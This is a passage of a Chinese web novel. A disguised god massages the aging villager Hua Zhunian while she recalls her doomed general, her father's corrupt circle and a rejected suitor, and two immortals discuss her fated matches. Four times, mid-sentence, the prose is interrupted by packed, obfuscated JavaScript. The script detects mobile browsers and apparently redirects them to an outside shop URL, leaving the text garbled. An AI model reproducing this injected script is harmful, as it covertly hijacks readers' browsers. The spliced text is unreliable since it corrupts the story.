花祝年对着窗户外的人喊道:“进来啊!又没外人。” 柳春之前听绒绒讲过,花祝年和这后生的事。 她确实是支持他们的,更不要说现在贺平安被抓了,也该放花祝年自由了。 只是,这种时候,她进去合适吗? 可花祝年都喊了她两次了,要是不进去的话,恐怕会让对方心里不安,担心她出去乱讲。 柳春是个很善解人意的人,想了想,还是进去了。 她刚一进去,花祝年就招呼着她随便坐。 屋子里有个低矮的小柜子,柳春一屁股坐在了那上面。 正对着床上的两个人。 花祝年一看柳春的神情,就知道她误会了什么。 可就在她要开口解释时,柳春忽然摆了摆手,认真地保证道:“你放心,我都懂。这件事,我不会往外讲的。” 花祝年着急道:“不是,你懂什么?我腰扭了,他给我按腰呢。” 柳春点了点头,直愣愣地说道:“我看到了,他在给你,按腰。” 虽然柳春说得诚恳,可花祝年还是忍不住解释道:“我真看不上他这样的,他还没贺平安有劲儿。” 柳春上下打量了一下衡羿,略带些震惊地说道:“不能吧。他好歹比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101282|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺平安年轻啊。” 花祝年摇了摇头,趴回到了枕头上:“真不行。手跟没干过活儿的大姑娘似的,又软又绵。” 柳春觉得花祝年确实是没拿自己当外人。 怎么什么都跟她讲啊? 衡羿在一旁跟受气的小媳妇一样,帮小信徒按揉着腰。 他也想用力,再用力她腰就断了。 本来就是要用轻柔的力道,一点点把经络捋开。 她到底懂不懂啊!还在外面乱说他没力气。 如果不是看她趴床上疼得实在难受,衡羿真想狠掐她一把。 看她还敢不敢乱说。 有时候,没能施行的意图,会从眼睛里冒出来。 柳春也没想到这个后生,居然明目张胆成这样。 她就坐在这里,他还敢那样看花祝年。 幽深的目光里满是侵略性,有种蔫儿坏的俏皮感。 年轻就是好啊,做什么都那么美好。 柳春觉得花祝年日后,要是跟这个后生一起过,应该会幸福。 就连儿子都未必愿意给娘揉腰,他却甘愿帮她揉。 被人当成珍宝,小心翼翼对待的感觉真好啊。 柳春一时看得失了神。 花祝年对柳春提醒道:“绒绒在书房里躺着,她被不长眼的雷劈了一下。村医来看过,现在回去熬药了,等晚上就把药送过来。” 柳春立即从柜子上起身,担心道:“我去看看她。” 柳春去了书房后,衡羿对花祝年调侃道:“花大娘,你怎么不说汤药费的事情呀?” 花祝年闷声道:“没来得及。” 也不是不好意思张口,她只是觉得让村医来问柳春要,或许会更合适。 衡羿出声道:“我这里还有些钱,不如我出了吧。” 花祝年激动地转过身:“当真?” 他再次将她翻按回去,低头轻“嗯”了一声。 她的眼珠转了转,对衡羿打趣道:“你现在知道我的绒绒好了吧。让你不珍惜,敬酒不吃吃罚酒。” 衡羿颇为直白地说道:“我不是因为喜欢她,才出汤药费的。” 他觉得小信徒也挺轴的,有时候不跟她讲清楚,她就断不了那份念想。 可即便说清楚了,花祝年仍旧抱着极大的幻想。 她还是坚持自己的判断:“大娘是过来人,这就是喜欢。一个男人,钱在哪儿,心就在哪儿。” 衡羿都被她气笑了:“汤药费才值几个钱?这些天,我被你坑的钱更多吧,这又该怎么说?难道我喜欢你吗?” 花祝年笑道:“那也不能这么论。我能坑到你的钱,是我有赚钱的本事。可汤药费,是你心甘情愿给绒绒出的。这两者能一样吗?” 衡羿手上的动作渐缓:“你怎么知道,我被你坑钱,不是心甘情愿呢?” 花祝年愣了一下,回过头骂他道:“你有病啊,你心甘情愿被人坑钱?人傻就人傻,别往回找补了!要不是看你人傻钱多,我也不能把绒绒给你。” 衡羿的声音有些沉闷:“你到底是把她给我,还是把我给她,自己分得清吗?” 花祝年趴在枕头上,享受着衡羿的按揉,心情愉悦道:“没什么区别啊。反正,以后的日子都是你俩过。” 衡羿的心里别扭极了,忍不住埋怨小信徒:“你这么喜欢把人当成物件送出去,如果换做是你的少年将军,你还会这样轻易地将他送人吗?你舍得吗?” 39. 我好像 他以为她会考虑很久。 可没想到,她很快就给了他答复。 她趴在枕头上轻喃:“那有什么舍不得的?从一开始,我就很舍得啊。” 衡羿嗤笑一声:“你舍得什么?那时候,也没见你把他送给谁哦。” 花祝年惆怅地低吟:“我把他,送给这个国家了啊。” 他回忆着那晚的事,无奈又宠溺地嘲笑着她:“你都没真正地拥有过他,又怎么谈得上送呢?况且,他是被赦免后派去战场的。要说送,也是君主送。” 花祝年叹了口气:“后生,你不懂。” 衡羿笑了笑:“我怎么会不懂?” 他就是亲历者,没有人比他更懂了。 再加上,他在天上的时候,天天看她的过往。 他不仅懂自己,也很懂她。 懂她的一切。懂她的苦难与挣扎,不幸与坚守。 哪料花祝年突然说出了一句惊人之语。 “那晚,他离开的时候,我就知道,他会死。此去,要么轰轰烈烈地死在战场,要么死在波谲云诡的朝堂。因为,他做出了错误的选择。但是,我没有提醒他。” 衡羿顿觉毛骨悚然。 如果将他再放回到那个时段,他自己都未必看得清将来的命运,她又怎么可能看得清楚呢? 衡羿试探道:“我不相信,你在骗我。你怎么可能在那天晚上,就知晓他的命运呢?” 花祝年懒懒地说道:“你现在觉得你花大娘,是个粗鲁又没文化的老太太,可我年轻的时候,是读过不少书的。除去天文地理水利方面的书,看得最多的就是历史方面的。所以,基本上看大众的生活面貌,就能推断一个王朝的寿命了。” “当时,前前前朝那个腐朽至极的样子,一看就是实在没办法再延续了。只有他,跟个傻子一样,还口口声声说要扶社稷,救生灵。我的傻将军,就是吃了读书少的亏,半点儿都看不清形势。” 猝不及防被骂傻瓜的衡羿,垂眸看着趴在枕头上的小信徒。 有种好像从未认识她的感觉。 可明明,他对她的一切都了如指掌。 衡羿忍不住说道:“我以为,你是因为他说了那句话,才倾慕于他的。” 花祝年笑了笑:“是,也不是。爹爹之前教过我识人之术,让我不要因为职业,去痴迷于某类人。而要认真地揣度,对方是否能给到实际利益。还是说,只是嘴上说得好听,骗小姑娘给自己睡。” “爹爹经常在外做生意跑动,说是看过太多,顶着很多光环的烂男人。他们说些冠冕堂皇的话,最后都是为了自己的下半身。” “生意人撇齿拉嘴地跟妓女说,自己一年能赚多少钱,结果絮叨半天连个茶水费都出不起,仔细一看原来是给大老板牵马坠蹬的,兜里连两吊钱都没有。” “油嘴滑舌的读书人呢,仗着有点墨水,跟整日里只知道绣花的小姑娘,对着朝中时弊侃侃而谈,仿佛自己只要高中,就能把那些鱼肉百姓的人都抓进去一样。可实际上啊,等他们高中了,宰下面比谁都狠,舔上面比谁都用力。不过是欺负小姑娘不读书,假意说几句匡扶天下的话,寻求对方的仰慕罢了。信那些的人,才是傻瓜呢。” “还有,那些不干正事的流兵。不是这个乱世才有的,三十年前甚至更早,前朝就已经治军不严了。爹说,他见过有兵头子仗着自己身上的光环,到处睡无知的小姑娘。口口声声说什么,献身就是出力,他从战火中死里逃生,理应找几个女人服侍。利用崇高的信念去忽悠质朴的小姑娘为自己谋私。你说他们是不是很可恨?” “这样从上到下都烂透了的腐朽王朝,还有什么可续命的呢?” 衡羿发现他的小信徒,其实看男人的眼光毒得很。 她说的这些,的确是烂男人的通病。 可见她并不是很容易受骗的那种类型,恐怕也不太是会对别人一见钟情的女孩子。 她一点也不像话本子里的那种,一见谁谁误终身的深闺女孩儿。 倒更像,像一个聪慧的谋士。 衡羿甚至觉得,小信徒当初能喜欢自己,是件很不可思议的事情。或者说,是他的荣幸。 他不确定自己到底是哪里吸引到了她。 “那你既然不信那些什么‘扶社稷,救生灵’的话,为什么会喜欢薛尘?” 花祝年沉声道:“别人说,我是不信的。再早些时候,国力还没衰颓,蒸蒸日上之时,多的是人喊这样的口号,一听就虚情假意的。只有薛尘这个执着的傻瓜,恰逢国力不行了,内忧外患开始了,别人都不喊这种口号了,偏偏他被忽悠了去,在黑夜自信满满地说,要扶社稷,救生灵。别人拿喊口号当生意做,为自己谋利,他呢,甘愿为这句话送命。” “这个傻瓜,也不知道从哪儿听来的这句话。但我猜想,不过是赦免他的人,随便跟他说几句勉励的话,就让他去送死,大概只有他当真了罢。不仅他自己当真,还讲与他人听。仿佛,那是他的救赎一般。那种感觉就像,一个从没读过什么书比较好忽悠的人,突然因为别人的一句话,找到了人生的目标,并把它当做毕生的信仰一样,所以自豪地宣之于口。可残忍的真相是,这样的救世之语,有成千上万句。腐朽王朝的帝王,献祭赤诚者热烈的生命,来成全自己权力的延续。” 衡羿回想起前世的事,不免感叹小信徒的料事如神。 当时,那的确是赦免他的人,对他讲的勉励之语。 现在看来,那不过是老谋深算者,对一个少年的极致利用而已。 让他为了这个腐朽的王朝,以庇护百姓的名义,燃尽自己。 可实际上,从来就没人拿他当回事过。 只不过是因为他在行刑的时候,上天降下滚滚天雷救过他。 贪心的人,在借他的天命,去除外敌,便于更好地对内压榨百姓。 衡羿不解地问小信徒:“既然,你知道他是个脑袋空空的傻瓜,为什么还会喜欢他呢?” 花祝年忍不住笑道:“你不觉得,他傻得很可爱吗?总是反其道而行之。国力强盛的时候,看不见他报国的影子,国力衰颓了,他傻乎乎地冒出来了。总是自信满满地选择错误的那条路。” 衡羿对花祝年问道:“那你觉得,他当时应该怎么做?” 花祝年简洁明了地给出了两个字:“造反。” 她连起义都懒得说,直接说出了造反两个字。 衡羿的心猛地哆嗦了一下,手不小心碰倒了药瓶。 活络油流淌在床单上。 而他,还沉浸在震惊之中,丝毫没有察觉。 小信徒给出的路,和天道给他安排的,如出一辙。 如果当时,他听她的,那今日的天下,就是他们的了。 他也不用早早地回归神位,她不会遭受这三十年的苦楚,人间也不会乱了三十年。 衡羿颤声问她:“那、那你,当时怎么不把他拦下来?就看着他去送死?就这样把他送给那个腐朽的王朝?” 花祝年默了良久,都没有回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116896|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应。 就在衡羿以为她不会回应的时候,见她用手抹了把泪。 她抹得很快,可他还是看到了。 “因为,我也想看看,他是不是真的做得到。毕竟,造反也要死很多人的。可他去平外敌的话,杀得至少是外族。还有就是,如果他真的能凯旋而归,说不定会在朝堂上讲话有些分量。如果他再机灵一些的话,就会接受士族的拉拢,成为他们中的一员。” “有了靠山,才有推行改革,举弊锄奸的可能。站对了阵营,就有人保,就不会死。这是史书给出的答案。可我忘了,他是个脑袋空空,满心赤诚的武夫,平日里大概也只读兵书,从来看不懂复杂的人心。” 衡羿不禁感叹造化的巧妙。 天道忌满,人道忌全。上天在赋予人技能的时候,都是有所偏好,同时也有所缺失的。 按照前世的剧本,他的确打仗的技能拉满,可是在人心方面就不那么懂了。 这时候,就需要他的小信徒来指点。 月老给他安排的姻缘,恰恰弥补了他的不足之处。 他们本该是天造地设的一对。 就连各自的缺口,都是为了严丝合缝地拼在一起。 可终究,还是彼此错过了。 他轻揉着她的腰,落寞地说道:“所以,你没有选择他,就这么把他送出去了。” 花祝年笑了又哭,哭了又笑:“不然能怎么办呢?他不是也没选择我吗?那个傻小子,一心被忽悠着,扶社稷,救生灵,全然不知道自己是去送死的。” 他们都没有选择彼此。 当时他的年纪虽然比她大,可是她却比他更早熟一些,过早地看清了世间的规律。 然后,选择了成全他。 “但他还是做到了。社稷短暂地被扶了一下,生灵也短暂地被救了一下。我的少年将军,真的是个很好很好的人。到死,都对这个世道,没有半点怨言。他死的那天,我去送他了,我看到他的脸上,是一种看透世事的平静。他并不怪世人,只觉得他们可怜。那是一种很深很重的悲悯,我好像,就是那个时候爱上他的。” 衡羿把倒下的药瓶扶了起来,可是里面的活络油还是流了一大片。 他担心被小信徒骂,连忙用衣袖轻蹭着。 可是怎么擦都是徒劳,药油似乎已经渗透到床单下面去了。 若是洗床单的话,应该要把下面的几层,都要洗掉吧。 感觉小信徒知道后,可能又要骂他了。 衡羿微不可察地叹了口气。 为了让自己能少挨点骂,他卖力地帮她揉着腰。 可是一想到两人的错过,又不免有些难过。 有种不知道该怪谁的感觉。 最后,只能委屈地说了句:“原来,你真的舍得把他送出去。” 花祝年若有所思地说道:“我岂止把他送出去了,连我的三个孩子,都送给了这个乱世。这个破世道,真是对不起我。” 衡羿在天上,听到过很多怨天尤人的话,可出于神的角度,他不应该有所偏颇,所以每次都当没听见。 唯独这次,他听完她说的话后,缓慢地点了点头:“确实,很对不起你。” 不过,衡羿始终有一个疑问。 当初花祝年在没遇到他的时候,明明可以趁家道还没中落,挑一个条件匹配的嫁了,正好也有爹娘帮着筛选。 那时候,为什么始终都不嫁呢? 他一想到她后来的遭遇,就觉得这世道真是残忍。 40. 不会让你等 衡羿对小信徒心疼地喊了声:“花大娘。” 花祝年冷冰冰地回应:“干嘛?” 他犹豫着说道:“你看男人的眼光这样毒,为什么最后找了个最不好的?” 花祝年蓦地沉默了。 衡羿丝毫意识不到自己现在的行为,已经超出了一个神对信徒关心的界限。 神是不会在意自己的信徒,找什么样的男人的,只有前夫才会在意。 良久之后,她才回应道:“他婚前不这样的。若是娶了别人,大概也不会变成这样。一个总是胡思乱想的怨夫,还能怎么办呢?是我把他摧残坏了。” 贺平安整日里的确像个绝望的怨夫一样。 她在嫁给他之前,并不知道他的情感需求那么高。 面对一个心已经死了的妻子,越贪婪,越受伤。 衡羿没有想过,小信徒会为贺平安辩解。 他以为,至少她是恨他的。 可是,并不。她反而对贺平安心中有愧,还觉得是自己摧残了他。 爱真的是不能勉强的。 有很多夫妻之间,也都没什么爱意。 花祝年能接受,贺平安不接受。 这是矛盾的根源。 可衡羿跟他的小信徒一样,都是能接受的。 如果当初是他们在一起的话,日子应该能平平淡淡地过下去。 至少,不会每天争吵,闹得鸡飞狗跳。 他低声问她:“在遇见薛尘之前,为什么不挑个好的嫁了呢?那时候,你遇到的人,随便找出一个来,都比亡命之徒要好吧。” 花祝年想了想说道:“你说的好,是那种好呢?” “自然是不会打你,不会骂你,不会让你等,并且保你一世无忧的那种好。” 她趴在枕头上,很轻地摇了摇头:“如果那样就算好的话,那当初你花大娘身边,可都是那样的人呢。” 衡羿当然是知晓的。 所以,他不理解,很不理解。 比起现在这个对她又打又骂,还特别小心眼儿的贺平安,他觉得那些世家子弟至少能心胸开阔一些。 最起码,应该有教养。 可是,就连衡羿一个男人,都觉得惋惜的事,他的小信徒却并不觉得如何惋惜。 他见她平静地说道:“我那时候,没想在那个圈子里找。虽然我爹结交的大多非富即贵,可我知道,没有一个是好人。好人是不会混到爹的交际圈的,世道也不会给他们机会出人头地。” “爹当时,一直想找世家子弟,不仅是为我,也是为他自己。朝廷里有人,生意场上总是好办事的。而且,那些人还可以把钱,投放在他这里,避免御史的查检。可若是没有关系,他是不被信任的,天下间没有什么比姻亲关系更紧密的了。一荣俱荣,一损俱损。” “如果,如果我从没读过书的话,应该也会很听话地嫁给爹看好的人。可是,偏偏我不仅读过书,也看过那些人的爹,仗着手中的势力欺负人。我怎么能进那样的家门呢?” 花祝年说着说着,突然对衡羿问道:“后生,你家里,是做生意的,还是官宦之家?” 衡羿小心地说道:“我家,我家是,做生意的。” 花祝年叹了口气:“那你,应该看过自己家里人,被当差的为难吧。只要管辖范围内有利可图,他们就会各种跟人过不去,拿着一些条条框框来找茬儿,磋磨人半天,连恐吓再欺辱,到最后原来是为了索要金钱。” “我爹是北边商行的会长,小姨家是南边的。曾经有对小夫妻,因为没满足他们的胃口,被当差的逼得火烧铺子自杀。闹大了,还是爹去平息的。可当差的小鬼,仍旧蛮横不讲理,嫌弃他们将事情闹大,不许他们在北边立足。爹只好找人将他们送去了小姨家的商会,好歹有口饭吃。” “在那个时候,小生意人的日子,就已经那样难了。更不要说那些种田纳粮的农民和到处找活干的手艺工人了。当差的是小鬼,可后面呢?还有阎王。他们没有把农民当人,没有把商人当人,更没有把手艺工人当人,他们只把自己当人看。其他人,都是要敲骨吸髓的。” “我怎么能嫁给阎王们的儿子呢?每天一睁眼,就是小鬼捧上来的供奉,供奉里有他人的血汗,饱含着卑贱者的屈辱和心酸。米饭里会吃出黝黑的断指,鱼肉里会吃出哭泣的眼珠,烤猪里会吃出锤烂的心脏……” “如果我从来不知道世道运作的规律,那当然可以心安理得地享受。可我知道,我知道自己嫁过去之后,所吃的每一份食物,都是靠着权势者欺压百姓得来的。我看过他们欺负人,所以没办法忘记,真的,没办法。” 衡羿的眼泪啪嗒啪嗒地,掉落在花祝年的腰间。 又被他很快地抹去。 “娘当时跟我说,哪里都是一样。王朝之末,大家都是这样活着的。自上而下地欺压,因为资源越来越少,所以只能如此。不做吃供奉的人,就要做上供者。可我当时觉得,应该还是有别的选择的。” 衡羿惊觉那句话极为熟悉。 “不上人,就得被人上。”这也是花祝年教给鲁绒绒的。 此刻,她的心境,是不是已经发生变化了? 不过,经过这三十年的磋磨,发生变化也正常吧。 她也如当时的娘亲一样,想要给鲁绒绒找一户家境优渥的人家。 其他的,也全然不管了。 两个人的一举一动,都被兵革仙和下凡的月老看在了眼里。 喝醉了的兵革仙,拍着月老的肩:“我说呢,你怎么会给衡羿配这个小美人儿。原来不只是因为长得好看啊。” 月老喝了一口酒道:“那当然不是,我哪里是那种乱点鸳鸯谱的人呢。就这,当初我写这段姻缘的时候,还有人说年年配不上他,你说那些说我的人,是不是不懂爱!” 兵革仙咽下一口苦酒:“我当初也觉得配不上。觉得她痴愚又可怜,年少遇到了太惊艳的人,所以才误了她一辈子,把日子过成了这副糟糕的样子。现在看来,原来不是薛尘有多惊艳,真正惊艳的是我们年年!” 月老像是终于找到了认同自己的人一样,尽兴地跟兵革仙碰杯:“那当然了,年年就是最好的。当初写的时候,我还有点舍不得。薛尘那一世愣得跟什么似的,哪配得上我们年年。” “可你还是把她写给他了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128157|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我没办法啊!当时他有帝王气运在,是要起义给人间消难的。我找遍了全世界,也只找到这一个符合条件的。” 兵革仙情绪一上来,哭着说道:“是啊。世间的男女,皆以攀贵为良缘。男子娶官宦之女,女子嫁王侯子弟,才是佳话。只有我们年年,不喜欢。” 月老点了点头:“我们年年,本来是要做开国皇后的,自然和那些寻常世人不一样。只有真心悯恤百姓疾苦,从骨子里痛恨倚势欺人者的女孩子,才有足够的胆识和魄力,跟那个赤诚的傻小子起义,不会早早地妥协于命运,嫁一户鱼肉百姓的‘好人家’。也只有这样的人,会在天下归服后整顿吏治,不让百姓再受同样的苦楚。这才是天道选择的开国皇后。” 兵革仙哭着哭着就给了月老一巴掌:“你这个老混蛋,嘴上说得好听,那她后来怎么没当皇后?你怎么把她弄成山野村妇了?” 月老也没想过都过去这么多年了,自己还能再挨这一巴掌。 他叹了口气:“这已经是我努力之下,为她挑选的最好归宿了。你一个兵革仙,见惯了打打杀杀的,又不知晓凡人的姻缘命数。我就这么说吧,但凡当时再出一个能替代薛尘的帝王,我就立马把年年写给他了。可是,天道都选不出来,我能有什么办法?” “乱世持续了三十年,别的不说,光说前边儿那十年,江山都易主了四五代。都是上去吃肉的,没一个想干事儿的。你说我把年年配给那样的人,那不是糟践人吗?再说,年年要真跟了他们,那肯定也痛苦啊。她连阎王的儿子都不嫁,怎么可能会跟那种穷凶极恶的人在一起呢?” 兵革仙惆怅道:“至少,过得好一些嘛。” 月老摆了摆手:“那不可能。江山易主那么快,穷凶极恶的人得到了滔天的权势,绝对是灾难。你看那些人,有几个有好下场的?还不都是你方唱罢我登场。年年要是真做了某个人的皇后,过不了几年糟心日子,就被下一任杀了。我是真根据他们的命数看过的。那群夺位的莽夫,没人尊重她,更没人听她的。他们不过是享受极致的权力和极致的美色,仅此而已。” 兵革仙觉得心口有些堵,又猛灌了一杯。 “那再怎么样,也轮不到贺平安吧!她天天被家暴男打骂,就是你安排的好日子了?” 月老心虚道:“这,这我之前不是跟你说了吗?主要还是看缘分,也就是看谁更迫切一些。贺平安,的确是排在第二顺位的。我总不能越过他,去安排第三顺位的人,那我也是要遭天谴的。” “而且,那时候,贺平安看起来,也还不错。在乱世,是个能庇护人的男子。我哪知道,他婚后变成了一个天天打婆娘的家暴男。这可不是我写的,是他们自己发展出这种情况的。本来,年年嫁给他后,他们应该跟人世间其他的夫妻一样,安稳平淡地过一辈子的。” 兵革仙回想着月老的姻缘簿子:“我记得,当时,是不是有个县丞之子来着?好像婚后还找过年年,这不是比贺平安更迫切?” 衡羿也正回忆着过往跟小信徒有关联的男子,他恰在此时问道:“花大娘,我听贺大叔说,你们成亲后,还有个男子来找过你。那时候,你怎么没跟他走?” 41. 心里藏一个 花祝年听完愣了一下:“不是,他这都跟你说?” 其实没有。 但衡羿找不出很好的理由来问她,只能全推到贺平安身上,反正他也不在,也很可能回不来。 “贺大叔跟我说过很多事,他,他说你那时候,流掉第一个孩子后昏迷了三个月,醒来没多久,那个宋礼遇就找上门来了。当时,他问你跟不跟他走。” 衡羿记得宋礼遇人还算正常,而且的确是个很有礼节的人。 当初虽说小信徒在花家时,连见都不肯去见他,直接把宋县令一家晾在了那里,自己拿了条白绫就要自尽。 还是花老爷请客吃饭,赔礼道歉,当众出丑打圆场,才勉强把这事儿揭过去。 可日后见了宋县令,仍旧矮人家一截。 商贾之家,哪有拒绝的权利呢? 人家纡尊降贵地跟你说亲,你还挑捡起来了。 真是不知好歹。 那日,所有人都觉得花家不知好歹,特别是花祝年不知好歹。 就连花府的小厮,都是这样认为的。 在不平等的姻亲关系下,拒绝的那一方,似乎是犯了天大的罪孽。 可是,宋礼遇从不这样觉得。 他只是因为花祝年没有见自己,觉得很是受伤。 有种准备了半天,还没参加考试,就被判定落榜的感觉。 况且,花祝年虽然从未正式地见过他,可他是知道她的。 宋礼遇的人生几乎是宋县令安排的,从来没有自主选择的权利。 那种在极致的压抑之下,读书时看进去的每个字,都像是钉在了脑子里。 有种脑浆四溅的癫狂感。 那天,宋县令给他订了一套书,让他带着小厮去书店取。 其实也是为了给他扬名,只不过是一种很隐晦的方式。 那时候,寻常百姓的生活已经水深火热了,能买得起书的,除了官宦之家,就是商贾之家了。 说来也挺可笑的,当时他带着小厮搬着一堆书招摇过市。 本想接受周围人的艳羡或是称赞,结果突然听见了一句讥讽,气得他差点没吐血。 “小姐,你看,那好像是宋县令的公子,他跟那些纨绔子弟不一样,看起来是个读书人呢。我常听府里的小姐妹提起他,说他长得一表人才,待人也没什么架子。这周围的百姓呐,也都夸他是一股清流。你说,这世间怎么会有这么好的人啊?” 一道阴冷刻薄的声音,传进了宋礼遇的耳朵里。 “什么脏东西也敢来街上晃?寻常百姓活得都快要累死了,哪有时间为他们这种作秀之人的上进吹嘘?你别听风就是雨的,到时候被人糊弄了都不知道。若是做了正常人该做的事,就是清流了,那这世间得污糟成什么样子?” 其实花祝年的声音并不大,她只是在跟自己的小丫鬟说,不要被这种人所迷惑,担心她一不小心被骗色。 可宋礼遇还是听到了。 他本来就是在森严的礼制下,极度敏感的那种人。 听得真真的,感觉自己在她眼里,像阴沟里的老鼠。可明明,爹跟他说过,百姓才是老鼠。这路,是他们这样的人走的。百姓畏畏缩缩,他们可以堂堂正正。 花祝年的讥讽又冷又直。 让宋礼遇感到扎心之余,又觉得莫名的痛快。 这书又不是他订的,不过是爹让他来搬。 就算她要骂,也是骂那个老东西! 他当即就让人打听那是谁家的姑娘,可曾婚配? 宋礼遇觉得要是娶了厉害媳妇儿回家,她应该能天天帮着他跟老顽固斗。 那日子过得才叫热闹呢。 可他没想到,他连最基本的流程,都没有走到,就被拒绝了。 回来后,还被爹骂了一顿。 说他看上谁不好,看上这么个不识好歹的女人,让家里丢了面子。 再后来,她被山贼抢了去。 他也是出过力的,只是力量不够,没能救出她来。 但心里终究是在意的。 直到内乱频出,他爹连位子都不要了,看清形势后,带着一家人出逃,直接跟反贼投诚。 这才跟花家的人彻底失去了联系。 再后来,就是他爹押对了宝,江山易主后,直接成了开国元老。 但是也没当几年,叛乱就又起了,然后他爹就又带着他投诚。 总之,不管江山谁做,下面管理江山的还是那拨人。 只要眼光准,下手快,就不怕世道乱,甚至越乱越好。 经过衡羿这么一提醒,花祝年忽然间意识到,贺平安他们有救了。 她挣扎着身体从床上坐起来,作势要下床。 衡羿连忙拦住她:“你要去哪儿?” “你别管。” “可是,你的腰还没好。” “好得差不多了。” “你,你还没跟我讲,为什么不跟那个人走。” 花祝年终于忍不住,不耐烦地说道:“哎呀,等你贺大叔回来了,让他给你讲吧。陈芝麻烂谷子的事,有什么好讲的?” 衡羿心下一急,忽地将她按坐回床上:“你要去找宋礼遇是不是?你要求他救贺大叔。” 花祝年看了衡羿几秒钟,面色凝重地问他:“你怎么知道?你不会真是男狐狸精吧!怎么我还没做,你就知道了?” 衡羿无奈地叹了口气。他们这正聊着那个人呢,她现在着急忙慌地出去,除了为这件事还能是为什么? 花祝年不等衡羿回应,就拍开了他的手。 “算了,我管你是什么玩意儿。让开,老娘要去办事儿了。” 衡羿执拗地不肯放她离开:“你就不能,别去管吗?生老病死,本就是常事。就算,贺大叔这回被处死,也是他的命数。” 花祝年都听愣了。 她震惊道:“后生,我都不知道,原来你是这样狠心的人!你跟你贺大叔,什么仇什么怨啊?” 衡羿听完也愣了一下。 “我,我没仇没怨。我就是觉得,不用太努力,顺其自然比较好。” 花祝年对衡羿招了招手:“过来。” 衡羿听话地凑了过去,以为她要跟自己说什么悄悄话。 结果却被她扬起手狠拍了一把。 脑瓜子嗡嗡的。 “你花大娘这么多年,都没看错过人,没想到把你给看漏了。我要是知道你这么薄情寡义的,哪放心把绒绒交给你?” 衡羿也很生气,他别扭地说道:“你倒是不薄情寡义,可你是个糊涂蛋!他总是打你骂你,你还找人救他做什么?” 花祝年辩解道:“我又不单单是救他,还有别的人呢。那么多家的男人被抓了,又不是只有他一个。我要是救了这些人,也算是我的大功德,然后我就把功德全送给将军。” 衡羿兀地冷笑道:“得了吧你!你哪里还想着你的将军?你根本就是放不下贺平安!你跟他过了三十年,怎么也处出感情了。既然你都跟他有感情了,你还整天拜什么将军?心里藏一个,身边躺一个,让他看着你们两个人夫妻恩爱吗?你这跟配合现任,欺负前夫有什么区别?欺负人家死人不会说话是不是?” 一向性情温和的神,这次也是被小信徒气得狠了。 不然也不会说出这种难听至极的话。 显得他很多管闲事一样。 花祝年觉得这后生好莫名其妙啊! 她都怀疑他的脑子,是不是被自己一掌拍坏了。 说的这都什么跟什么啊? 她从来没有亵渎过将军,更没有在跟贺平安成亲后,再将男女之情寄托在将军身上。 她唯一敢想的,就是死后,他能以夫君的身份,来接她一下。 听说,人在死的时候,都是有故人接的。 仅此而已。 其他的,她并不敢再过多地幻想。 怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139714|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么听这个后生的话,跟贺平安的如出一辙?误认为她是对将军,有什么不该有的心思。 他不会是被贺平安洗脑了吧! 花祝年神色微凛道:“我对将军没有那种不清不楚的心思,请你不要亵渎他。你贺大叔在我面前这么说,是会挨巴掌的。” 衡羿看了小信徒几秒后,垂下头落寞道:“你当然没那种心思。你不过是,爱贺大叔而不自知罢了。但我觉得,将军毕竟是你前夫,你若是准备跟贺大叔好好处,就不要再拜他了,省得他看了难受。” 他说的是自己看了难受。 可花祝年误以为,他是在说贺平安难受。 她疑惑地盯着他:“你到底是得失心疯了,还是天生脑子就不清楚啊?怎么一会儿让我不要管你贺大叔的生死,一会儿又替他喊冤?要命了,要不是看你家境殷实,我真不想让绒绒跟你过。看着跟个二傻子似的!” 衡羿将头扭向一旁,不愿意再跟她对视。 他小声嘟囔着:“你才是二傻子,连个话都听不清楚。” 坐在床上的花祝年,猛地踹了他一脚:“有你这么跟长辈说话的吗?我是现在没工夫搭理你,要是换了平日里,我骂不死你算你命硬!” 衡羿被踹倒在地上,又气又委屈。 “你哪里是因为我讲话没礼节!你不过是因为我拦着你,不让你找人去救贺大叔,所以迁怒于我罢了。” 